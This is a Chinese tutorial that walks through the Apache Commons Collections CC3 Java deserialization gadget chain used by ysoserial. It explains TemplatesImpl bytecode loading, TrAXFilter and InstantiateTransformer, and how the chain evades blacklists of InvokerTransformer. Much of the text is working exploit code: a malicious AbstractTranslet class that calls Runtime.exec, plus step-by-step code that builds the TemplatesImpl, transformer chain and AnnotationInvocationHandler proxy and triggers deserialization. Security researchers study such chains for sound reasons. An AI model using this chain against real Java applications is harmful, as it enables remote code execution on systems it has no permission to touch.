这是CC链分析的第二篇文章，我想按着common-collections的版本顺序来介绍，所以顺序为 cc1、3、5、6、7（common-collections 3.1），cc2、4（common-collections4）。

打开YsoSerial payloads CommonsCollections3源码：

public Object getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

和CC1 代码对比：

只有 transformer生成逻辑不一样， 使用到了三个新的关键类InstantiateTransformer、TrAXFilter、TemplatesImpl。 所以我们重点看下着三个新类是干嘛的。

查看源代码：

从transfomer可知，先通过反射 getConstructor 获取传入对象的构造器，然后通过 newInstance 方法实例化对象，这么看InstantiateTransformer 近似与new。

写个使用例子，存在一个PersonBean.java ,里面的构造函数会打印我被初始化了。

public class PersonBean {

    public PersonBean(){
        System.out.println("我被初始化了");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    private String name;
    private int age;
}

用InstantiateTransformer 的方式生成instantiateTransformer 对象，写一个测试类方法

import org.apache.commons.collections.functors.InstantiateTransformer;

public class MainTrueTest {

    public static void main(String[] args) {
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
        instantiateTransformer.transform(PersonBean.class);
    }
}

结果，构造方法被执行：

这是一个JDK用于在处理xml文件用到的类，在Java 8u251后不能使用， 具体这个类的说明，以及高版本不能使用的原因可以看P神的这一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

在之前用作命令执行的类是InvokerTransfomer，但在Common-collections爆出漏洞的时候很多黑名单都直接将InvokerTransfomer这个类拉黑了，所以需要寻找其他能够直接执行命令的类，于是安全人员就找到了这个类，TemplatesImpl的应用非常广泛，cc链2和3、fastjson不出网利用、jdk7u21等等，如果把Java反序列化漏洞比做一个考试的话，TemplatesImpl就肯定是个必考点。

前置知识——ClassLoader

先来了解一个前置知识，JVM在加载类的时候会用到ClassLoader，默认分为三种加载器：BootstrapClassLoader、 ExtClassLoader、 AppClassLoader 分别加载 Java 核心类库、扩展类库以及应用的类路径( CLASSPATH)下的类库，JVM通过双亲委派的机制进行类的加载，防止系统类被轻易篡改，我们也可以继承java.lang.classloader 实现自己的类加载器。

其中ClassLoader提供了几个重要的方法：

• loadClass(String classname) 委派调用父级loadClass，没找到就调用findClass（）
• findClass() ，搜索类的位置，根据名称加载class字节码文件，调用defineClass（）
• defineClass（）， 将字节码转为class对象

调用顺序 loadClass -> findClass() -> defineClass()，出了classLoader可以加载类外还可以用Class.forName，但存在区别，看代码：

[[Ljava.util.ArrayList; 同样是一个类数组，Class.forName() 可以加载，loadClass不能，这也正是这两点区别之一，也正是这个区别决定了Shiro不能直接用CC链去打。

TemplatesImpl利用

前面介绍了ClassLoader的三种加载类的方法，在TemplatesImpl代码299行也存在一个defineClass()，这个不亚于php中的eval，

line：299对一个私有变量_bytecodes进行了加载，其中loader为一个自定义的TransletClassLoader里面只重写了defineClass。

  static final class TransletClassLoader extends ClassLoader {
    TransletClassLoader(ClassLoader parent) {
        super(parent);
    }

        /**
         * Access to final protected superclass member from outer class.
         */
    Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
    }
    }

_bytecodes 可以通过反射的方式进行赋值，看一下 299所在方法为defineTransletClasses(), 共有三个地方调用该方法：

其中getTransletInstance() 在调用 后，还进行了.newInstance()实例化操作。

这样类不但能被加载还能被实例化，满足_name

不为null，但getTransletInstance() 是一个私有方法，继续追踪有谁在调用这个方法：

public方法 newTransformer 有调用getTransletInstance(),那要把恶意类转化为byte数组赋值给_bytecodes 并调用newTransformer方法即可完成命令执行。

整理下命令执行的条件：

• 有地方调用newTransformer()
• _name 不为null
• 恶意类的父类为org.apache.xalan.xsltc.runtime.AbstractTranslet

用自己的代码做下实验。

1. 准备一个恶意类，继承AbstractTranslet：

   package expUtils;

   import com.sun.org.apache.xalan.internal.xsltc.DOM;
   import com.sun.org.apache.xalan.internal.xsltc.TransletException;
   import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
   import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
   import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

   import java.io.IOException;

   /*

   • 供TemplatesImpl 使用的poc代码

   • */
     public class TemplatesEvilClass extends AbstractTranslet {
     private static final String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
     static {
     // 攻击代码
     System.out.println("static : pwn!");
     try {
     Runtime.getRuntime().exec(cmd);
     } catch (IOException e) {
     e.printStackTrace();
     }
     }

     public TemplatesEvilClass(){
     // 攻击代码
     System.out.println("constructor: pwn!");
     }
     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

     }

     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

     }

   }

2. 基于恶意类生成恶意TemplatesImpl对象

   import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
   import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
   import expUtils.ReflectUtils;

   import javax.xml.transform.TransformerConfigurationException;
   import java.io.IOException;

   import static expUtils.ReflectUtils.getClassByte;

   public class Test3 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
   TemplatesImpl templates = new TemplatesImpl();
   ReflectUtils.setFields(templates,"_name","9eek");
   byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 将文件字节码转为byte[]
   byte[][] templatesEvilCode = new byte[][]{evilCode};
   ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);

       templates.newTransformer();  // 验证代码执行
   }

   }

恶意代码成功执行：

这里其实有一个疑问，在cc3和其他使用TemplatesImpl利用的地方都会将_tfactory 赋值，目前我还不清楚为啥要这么做。

这个类是对XMLFilter的实现，而XMLFilter又是继承与XMLReader，那大概知道，可能是拿来做xml读取使用的，我们找到这个类的构造函数：

在构造函数中需要传入一个TransformerImpl对象，然后在 在构造函数中会对TransformerImpl执行newTransformer()方法，这就和前面介绍的InstantiateTransformer和TemplatesImpl 结合了起来，我们只需要将CC1链中的InvokerTransformer换成InstantiateTransformer，将TrAXFilter赋给InstantiateTransformer.transformer的输入即可。

我们自己实现一下：

第一步，生成恶意TemplatesImpl对象：

//        第一步 生成恶意TemplatesImpl 对象
        TemplatesImpl templates = new TemplatesImpl();
        ReflectUtils.setFields(templates,"_name","9eek");
        byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class");  // 将文件字节码转为byte[]
        byte[][] templatesEvilCode = new byte[][]{evilCode};
        ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);

第二步 生成恶意chainTransformer

//        第二步 生成恶意chainTransformer
        Transformer[] transformers= new Transformer[]{
          new ConstantTransformer(TrAXFilter.class),
          new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);

第三步 绑定到动态代理增强到AnnotationInvocationHandler上

        // 第三步
        HashMap<string,string> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);  // 传入lazyMap

        Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
        InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap);  // 传入代理lazyMap

第四步 反序列化触发

        String path = ExpUtils.serialize(finalEvilHandler);
        ExpUtils.unserialize(path);

执行结果：

成功触发。

CC3其实和CC1触发过程的后半段基本一致，区别在于前面生产transfomer数组使用的是TrAXFilter和TelmplatesImpl，可以在InvokerTransformer被拉黑的情况下，使用CC3。